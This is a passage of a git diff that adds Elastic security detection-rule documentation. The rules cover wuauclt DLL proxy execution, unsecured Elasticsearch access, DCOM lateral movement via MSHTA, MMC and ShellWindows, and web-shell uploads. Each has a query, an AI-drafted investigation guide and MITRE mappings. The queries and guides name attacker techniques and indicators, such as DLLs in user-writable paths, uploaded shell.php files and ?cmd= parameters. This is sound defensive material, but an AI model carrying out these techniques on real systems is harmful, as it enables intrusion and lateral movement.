+- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.pe.original_file_name == "wuauclt.exe" or process.name : "wuauclt.exe") and + /* necessary windows update client args to load a dll */ + process.args : "/RunHandlerComServer" and process.args : "/UpdateDeploymentProvider" and + /* common paths writeable by a standard user where the target DLL can be placed */ + process.args : ("C:\\Users\\*.dll", "C:\\ProgramData\\*.dll", "C:\\Windows\\Temp\\*.dll", "C:\\Windows\\Tasks\\*.dll") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc new file mode 100644 index 0000000000..6d0ad3db4b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-inbound-connection-to-an-unsecure-elasticsearch-node.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-20-inbound-connection-to-an-unsecure-elasticsearch-node]] +=== Inbound Connection to an Unsecure Elasticsearch Node + +Identifies Elasticsearch nodes that do not have Transport Layer Security (TLS), and/or lack authentication, and are accepting inbound network connections over the default Elasticsearch port. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* logs-network_traffic.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/elasticsearch/reference/current/configuring-security.html +* https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-http-options.html#_send_all_headers + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Reconnaissance +* Domain: Endpoint +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Inbound Connection to an Unsecure Elasticsearch Node* + + +Elasticsearch is a powerful search and analytics engine often used for log and data analysis. When improperly configured without TLS or authentication, it becomes vulnerable to unauthorized access. Adversaries can exploit these weaknesses to gain initial access, exfiltrate data, or disrupt services. The detection rule identifies unsecured nodes by monitoring inbound HTTP traffic on the default port, flagging connections lacking authentication headers, thus highlighting potential exploitation attempts. + + +*Possible investigation steps* + + +- Review the source IP address of the inbound connection to determine if it is from a known or trusted entity. Cross-reference with internal asset inventories or threat intelligence sources. +- Examine the network traffic logs for any unusual patterns or repeated access attempts from the same source IP, which might indicate a brute force or scanning activity. +- Check for any data exfiltration attempts by analyzing outbound traffic from the Elasticsearch node, focusing on large data transfers or connections to unfamiliar external IPs. +- Investigate the absence of authentication headers in the HTTP requests to confirm if the Elasticsearch node is indeed misconfigured and lacks proper security controls. +- Assess the configuration of the Elasticsearch node to ensure that TLS is enabled and authentication mechanisms are properly implemented to prevent unauthorized access. +- Look for any other alerts or logs related to the same Elasticsearch node or source IP to identify potential coordinated attack activities or previous incidents. + + +*False positive analysis* + + +- Internal monitoring tools or scripts that regularly check Elasticsearch node status without authentication can trigger false positives. Exclude these specific IP addresses or user agents from the rule to reduce noise. +- Automated backup systems that interact with Elasticsearch nodes without using authentication headers might be flagged. Identify these systems and create exceptions based on their IP addresses or network segments. +- Development or testing environments where Elasticsearch nodes are intentionally left unsecured for testing purposes can generate alerts. Use network segmentation or specific tags to differentiate these environments and exclude them from the rule. +- Security scans or vulnerability assessments conducted by internal teams may access Elasticsearch nodes without authentication, leading to false positives. Whitelist the IP ranges used by these security tools to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected Elasticsearch node from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of access logs to identify any unauthorized access or data exfiltration attempts, focusing on connections lacking authentication headers. +- Implement Transport Layer Security (TLS) and enable authentication mechanisms on the Elasticsearch node to secure communications and restrict access to authorized users only. +- Reset credentials and API keys associated with the Elasticsearch node to prevent further unauthorized access using potentially compromised credentials. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized access and steps taken to contain the threat. +- Monitor the network for any signs of continued unauthorized access attempts or related suspicious activity, adjusting detection rules as necessary to capture similar threats. +- Document the incident, including the response actions taken, and conduct a post-incident review to identify any gaps in security controls and improve future response efforts. + +==== Setup + + +This rule requires the addition of port `9200` and `send_all_headers` to the `HTTP` protocol configuration in `packetbeat.yml`. See the References section for additional configuration documentation. + +==== Rule query + + +[source, js] +---------------------------------- +(event.dataset: network_traffic.http OR (event.category: network_traffic AND network.protocol: http)) AND + status:OK AND destination.port:9200 AND network.direction:inbound AND NOT http.response.headers.content-type:"image/x-icon" AND NOT + _exists_:http.request.headers.authorization + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-incoming-dcom-lateral-movement-via-mshta.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-incoming-dcom-lateral-movement-via-mshta.asciidoc new file mode 100644 index 0000000000..052da28291 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-incoming-dcom-lateral-movement-via-mshta.asciidoc @@ -0,0 +1,150 @@ +[[prebuilt-rule-8-19-20-incoming-dcom-lateral-movement-via-mshta]] +=== Incoming DCOM Lateral Movement via MSHTA + +Identifies the use of Distributed Component Object Model (DCOM) to execute commands from a remote host, which are launched via the HTA Application COM Object. This behavior may indicate an attacker abusing a DCOM application to move laterally while attempting to evade detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://codewhitesec.blogspot.com/2018/07/lethalhta.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Incoming DCOM Lateral Movement via MSHTA* + + +DCOM allows software components to communicate over a network, enabling remote execution of applications like MSHTA, which runs HTML applications. Adversaries exploit this by executing commands remotely, bypassing traditional security measures. The detection rule identifies suspicious MSHTA activity by monitoring process starts and network traffic, focusing on unusual port usage and remote IP addresses, indicating potential lateral movement attempts. + + +*Possible investigation steps* + + +- Review the process start event for mshta.exe on the affected host to gather details such as the process entity ID, command-line arguments, and parent process information to understand how mshta.exe was executed. +- Analyze the network traffic associated with the mshta.exe process, focusing on the source and destination IP addresses and ports, to identify any unusual or unauthorized remote connections. +- Check the source IP address involved in the network event to determine if it is known or associated with any previous suspicious activity or if it belongs to an internal or external network. +- Investigate the timeline of events on the host to identify any preceding or subsequent suspicious activities that might indicate a broader attack pattern or lateral movement attempts. +- Correlate the findings with other security logs and alerts from the same host or network segment to identify any additional indicators of compromise or related malicious activities. +- Assess the risk and impact of the detected activity by considering the host's role within the network and any sensitive data or systems it may have access to. + + +*False positive analysis* + + +- Legitimate administrative tasks using MSHTA for remote management can trigger the rule. Identify and document these tasks, then create exceptions for known administrative IP addresses or specific user accounts. +- Automated software updates or deployments that utilize MSHTA may appear as suspicious activity. Monitor and whitelist the IP addresses and ports associated with these updates to prevent false positives. +- Internal network scanning tools or security assessments might mimic lateral movement behavior. Coordinate with IT and security teams to recognize these activities and exclude them from triggering alerts. +- Custom applications that leverage MSHTA for inter-process communication could be flagged. Review these applications and exclude their known processes or network patterns from the detection rule. +- Remote desktop or support tools that use MSHTA for legitimate purposes should be identified. Whitelist these tools by their process names or associated network traffic to reduce unnecessary alerts. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further lateral movement and potential data exfiltration. +- Terminate the mshta.exe process on the affected host to stop any ongoing malicious activity. +- Conduct a thorough examination of the affected host to identify any additional malicious files or processes, focusing on those initiated around the time of the alert. +- Reset credentials for any accounts that were active on the affected host during the time of the alert to prevent unauthorized access. +- Review and restrict DCOM permissions and configurations on the affected host and other critical systems to limit the potential for similar attacks. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems have been compromised. +- Update detection mechanisms and threat intelligence feeds to enhance monitoring for similar DCOM-based lateral movement attempts in the future. + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=1m + [process where host.os.type == "windows" and event.type == "start" and + process.name : "mshta.exe" and process.args : "-Embedding" + ] by host.id, process.entity_id + [network where host.os.type == "windows" and event.type == "start" and process.name : "mshta.exe" and + network.direction : ("incoming", "ingress") and network.transport == "tcp" and + source.port > 49151 and destination.port > 49151 and source.ip != "127.0.0.1" and source.ip != "::1" + ] by host.id, process.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-incoming-dcom-lateral-movement-with-mmc.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-incoming-dcom-lateral-movement-with-mmc.asciidoc new file mode 100644 index 0000000000..b24a9cebe6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-incoming-dcom-lateral-movement-with-mmc.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-20-incoming-dcom-lateral-movement-with-mmc]] +=== Incoming DCOM Lateral Movement with MMC + +Identifies the use of Distributed Component Object Model (DCOM) to run commands from a remote host, which are launched via the MMC20 Application COM Object. This behavior may indicate an attacker abusing a DCOM application to move laterally. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Incoming DCOM Lateral Movement with MMC* + + +Distributed Component Object Model (DCOM) enables software components to communicate over a network, often used in Windows environments for remote management. Adversaries exploit DCOM to execute commands remotely, leveraging applications like MMC20 to move laterally. The detection rule identifies suspicious activity by monitoring network traffic and process creation patterns, flagging potential misuse when MMC initiates remote commands, indicating possible lateral movement or defense evasion tactics. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify the source IP address that initiated the connection to the host running mmc.exe. Verify if this IP address is known and expected within the network environment. +- Examine the process creation logs to confirm the parent-child relationship between mmc.exe and any suspicious processes. Investigate the child processes for any unusual or unauthorized activities. +- Check the source and destination ports (both should be >= 49152) involved in the network connection to determine if they align with typical application behavior or if they are indicative of potential misuse. +- Investigate the timeline of events to see if there are any other related alerts or activities on the same host or originating from the same source IP address, which could provide additional context or indicate a broader attack pattern. +- Correlate the findings with any existing threat intelligence or known attack patterns related to DCOM abuse and lateral movement to assess the potential risk and impact on the organization. + + +*False positive analysis* + + +- Legitimate administrative tasks using MMC may trigger the rule. Regularly review and document routine administrative activities to differentiate them from suspicious behavior. +- Automated scripts or management tools that use MMC for remote management can cause false positives. Identify and whitelist these tools by their process and network patterns. +- Internal network scanning or monitoring tools might mimic the behavior detected by the rule. Exclude known IP addresses or ranges associated with these tools to reduce noise. +- Scheduled tasks or maintenance operations that involve MMC could be misinterpreted as lateral movement. Ensure these tasks are logged and recognized as part of normal operations. +- Software updates or patches that require MMC to execute remote commands might trigger alerts. Maintain an updated list of such activities and exclude them from triggering the rule. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further lateral movement and contain the threat. +- Terminate any suspicious processes associated with mmc.exe on the affected host to stop any ongoing malicious activity. +- Conduct a thorough review of the affected host's event logs and network traffic to identify any additional indicators of compromise or other affected systems. +- Reset credentials for any accounts that were accessed or potentially compromised during the incident to prevent unauthorized access. +- Apply patches and updates to the affected systems and any other vulnerable systems in the network to mitigate known vulnerabilities that could be exploited. +- Implement network segmentation to limit the ability of threats to move laterally within the network in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional actions are necessary. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [network where host.os.type == "windows" and event.type == "start" and process.name : "mmc.exe" and source.port >= 49152 and + destination.port >= 49152 and source.ip != "127.0.0.1" and source.ip != "::1" and + network.direction : ("incoming", "ingress") and network.transport == "tcp" + ] by process.entity_id + [process where host.os.type == "windows" and event.type == "start" and process.parent.name : "mmc.exe" + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: MMC +** ID: T1218.014 +** Reference URL: https://attack.mitre.org/techniques/T1218/014/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-incoming-dcom-lateral-movement-with-shellbrowserwindow-or-shellwindows.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-incoming-dcom-lateral-movement-with-shellbrowserwindow-or-shellwindows.asciidoc new file mode 100644 index 0000000000..6ca18f1e4a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-incoming-dcom-lateral-movement-with-shellbrowserwindow-or-shellwindows.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-20-incoming-dcom-lateral-movement-with-shellbrowserwindow-or-shellwindows]] +=== Incoming DCOM Lateral Movement with ShellBrowserWindow or ShellWindows + +Identifies use of Distributed Component Object Model (DCOM) to run commands from a remote host, which are launched via the ShellBrowserWindow or ShellWindows Application COM Object. This behavior may indicate an attacker abusing a DCOM application to stealthily move laterally. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Incoming DCOM Lateral Movement with ShellBrowserWindow or ShellWindows* + + +DCOM enables software components to communicate over a network, often used in Windows environments for legitimate inter-process communication. Adversaries exploit DCOM, particularly ShellBrowserWindow or ShellWindows, to execute commands remotely, facilitating stealthy lateral movement. The detection rule identifies suspicious network activity and process creation patterns, such as incoming TCP connections to high ports and explorer.exe spawning processes, which may indicate DCOM abuse. + + +*Possible investigation steps* + + +- Review the network activity to identify the source IP address of the incoming TCP connection. Verify if the source IP is known or expected within the network environment. +- Examine the process tree for explorer.exe to identify any unusual or unexpected child processes that were spawned. Investigate these processes for any signs of malicious activity. +- Check the destination port and source port numbers to determine if they are commonly used for legitimate services or if they are unusual for the environment. +- Correlate the event with other security logs or alerts to identify any additional suspicious activities or patterns associated with the same source IP or process entity. +- Investigate the user account associated with the explorer.exe process to determine if there are any signs of compromise or unauthorized access. +- Review historical data for any previous occurrences of similar network connections or process creations to identify potential patterns or repeated attempts. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger the rule due to the use of DCOM for remote management tasks. Users can create exceptions for known update processes by identifying their specific network and process patterns. +- Internal IT management tools that utilize DCOM for remote administration might cause false positives. Review and whitelist these tools by confirming their source IP addresses and process behaviors. +- Automated scripts or scheduled tasks that leverage DCOM for legitimate purposes can be mistaken for lateral movement. Document and exclude these tasks by correlating their execution times and process chains. +- Network scanning or monitoring tools that generate high-port TCP connections could be misinterpreted as suspicious activity. Validate and exclude these tools by cross-referencing their network traffic with known benign sources. +- User-initiated remote desktop sessions or file transfers using DCOM may appear as lateral movement. Verify and exclude these activities by checking user authentication logs and session details. + + +*Response and remediation* + + +- Isolate the affected host immediately from the network to prevent further lateral movement and potential data exfiltration. +- Terminate any suspicious processes spawned by explorer.exe that are not part of normal operations, focusing on those initiated through high TCP ports. +- Conduct a thorough review of recent network connections and process creation logs on the affected host to identify any additional compromised systems or lateral movement attempts. +- Reset credentials for any accounts that were active on the affected host during the time of the alert to prevent unauthorized access. +- Apply patches and updates to the affected systems to address any vulnerabilities that may have been exploited during the attack. +- Enhance monitoring and logging on the network to detect similar DCOM abuse attempts, ensuring that alerts are configured for high TCP port activity and unusual process spawning by explorer.exe. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional containment or remediation actions are necessary. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5s + [network where host.os.type == "windows" and event.type == "start" and process.name : "explorer.exe" and + network.direction : ("incoming", "ingress") and network.transport == "tcp" and + source.port > 49151 and destination.port > 49151 and source.ip != "127.0.0.1" and source.ip != "::1" + ] by process.entity_id + [process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "explorer.exe" + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-initial-access-via-file-upload-followed-by-get-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-initial-access-via-file-upload-followed-by-get-request.asciidoc new file mode 100644 index 0000000000..ffff54b70a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-initial-access-via-file-upload-followed-by-get-request.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-20-initial-access-via-file-upload-followed-by-get-request]] +=== Initial Access via File Upload Followed by GET Request + +This rule detects potential initial access activity where an adversary uploads a web shell or malicious script to a web server via a file upload mechanism (e.g., through a web form using multipart/form-data), followed by a GET or POST request to access the uploaded file. By checking the body content of HTTP requests for file upload indicators such as "Content-Disposition: form-data" and "filename=", the rule identifies suspicious upload activities. This sequence of actions is commonly used by attackers to gain and maintain access to compromised web servers. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* +* logs-network_traffic.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* Domain: Web +* Domain: Network +* OS: Linux +* OS: Windows +* OS: macOS +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Network Traffic +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Initial Access via File Upload Followed by GET Request* + + +This rule flags a common initial-access pattern: a multipart/form-data upload that drops a dynamic web script on a server, followed shortly by a request to execute that file and establish a foothold. Attackers exploit a permissive upload form to plant shell.php or shell.jsp in an uploads or temp directory, then immediately request it to spawn a web shell, enumerate files, and run commands—often leveraging redirects or 2xx/3xx responses that indicate successful placement and access. + + +*Possible investigation steps* + + +- Correlate the upload transaction with the server-side file creation and the subsequent access to the same resource, matching timestamps, source IP, and path, and follow any redirects to the final executed file. +- Retrieve the uploaded artifact from disk, verify it sits in a web-accessible location, inspect content for web shell traits (eval/system/exec, obfuscation, password gates), and record hashes. +- Examine server process telemetry immediately after the access for interpreter or shell spawns and unexpected outbound connections originating from web server workers. +- Review application logs and access context to determine whether the upload was authenticated, which account or session performed it, and whether user-agent, referer, or headers deviate from normal clients. +- Broaden the timeline to identify related uploads, file renames, or repeated requests from the same actor, including parameterized calls that suggest command execution or directory enumeration. + + +*False positive analysis* + + +- An authenticated administrator installs a legitimate plugin or module via the application’s upload form, which unpacks or renames .php or .jsp files and then auto-loads a setup page, producing the multipart upload, file creation/rename, and immediate GET pattern. +- Automated deployment or QA routines upload and deploy a .war or server-side script through a web-based admin interface and then perform health-check or warm-up requests, resulting in the same multipart upload, server-side file creation, and follow-up GET sequence. + + +*Response and remediation* + + +- Immediately block access to the uploaded script that was invoked via GET/POST (e.g., /uploads/shell.php) and the source IPs that executed it, restrict the site to allowlisted IPs or maintenance mode, and temporarily disable the upload endpoint. +- Quarantine and remove the uploaded web shell and any additional executable scripts or WARs in web-accessible directories (uploads, webroot, temp), terminate interpreter or shell processes spawned by the web server account (www-data/nginx/w3wp/tomcat), and revert malicious .htaccess/web.config rewrites. +- Hunt for persistence and lateral-movement artifacts created after the upload, including recent .php/.jsp/.cgi file creations or renames in static asset folders, cron/systemd tasks, startup scripts, unauthorized admin users or plugins, and remove them. +- Restore altered application files from known-good backups or redeploy a clean container/VM, rotate database and API credentials stored in config files or environment variables, invalidate active sessions, and only re-enable uploads after confirming execution is blocked in upload directories. +- Escalate to incident command and privacy/legal if you observe command execution parameters on the uploaded page (?cmd=, ?exec=), shells spawning (/bin/sh, powershell.exe), database dumps, or outbound callbacks from web server processes to external hosts. +- Harden by storing uploads outside the webroot, denying execution in upload paths (disable PHP/CGI handlers and set noexec permissions), enforcing strict extension/MIME allowlists and AV/sandbox scanning for multipart/form-data, enabling file-integrity alerts on new .php/.jsp in served paths, and deploying WAF rules to block direct requests to uploaded executables. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from both Elastic Defend (for file events) and Network Packet Capture integrations (for HTTP traffic analysis). + + +*Network Packet Capture Integration Setup* + + +**IMPORTANT**: This rule requires HTTP request body capture to be enabled in order to detect the multipart/form-data content containing WebKitFormBoundary indicators. The network traffic integration must be configured to capture HTTP request bodies for POST requests with `multipart/form-data` content type. + +To enable HTTP request body capture, follow these steps: +1. Navigate to the Fleet policy leveraging the Network Packet Capture integration in Kibana. +2. Locate and select the "Network Packet Capture" integration, and edit the integration. +3. Locate "Change Default", and scroll down to the "HTTP" section. +4. Enable the "HTTP" toggle to capture HTTP traffic, add the correct ports for your web application, and click "advanced options". +5. Edit the integration settings to enable HTTP request body capture for POST requests with `multipart/form-data` content type. +6. Save the integration configuration and wait for the policy to deploy to the agents. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by agent.id with maxspan=5m + [network where + data_stream.dataset == "network_traffic.http" and + http.request.method in ("POST", "PUT") and + /* We can restrict to 200 in the future, but I prefer to broaden the scope and decrease it later if necessary */ + http.response.status_code in (200, 201, 204, 301, 302, 303, 409) and + /* These should detect most common file upload activities, adhering to browser standards */ + http.request.body.content like "*Content-Disposition: form-data*" and + http.request.body.content like "*filename=*" + /* May add a lower/upper boundary limit to reduce FPs in the future, e.g. + and http.request.body.bytes >= 500 + */ + ] + [file where + event.dataset == "endpoint.events.file" and + event.action in ("creation", "rename") and + file.extension in ("php", "phtml", "pht", "php5", "asp", "aspx", "jsp", "jspx", "war", "cgi") + /* We can add file.path values here in the future, if telemetry is noisy */ + ] + [network where + data_stream.dataset == "network_traffic.http" and + http.request.method in ("GET", "POST") and + /* we may restrict to 200, but keeping it broader right now */ + http.response.status_code >= 200 and http.response.status_code < 600 and + url.extension in ("php", "phtml", "pht", "php5", "asp", "aspx", "jsp", "jspx", "war", "cgi") + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* 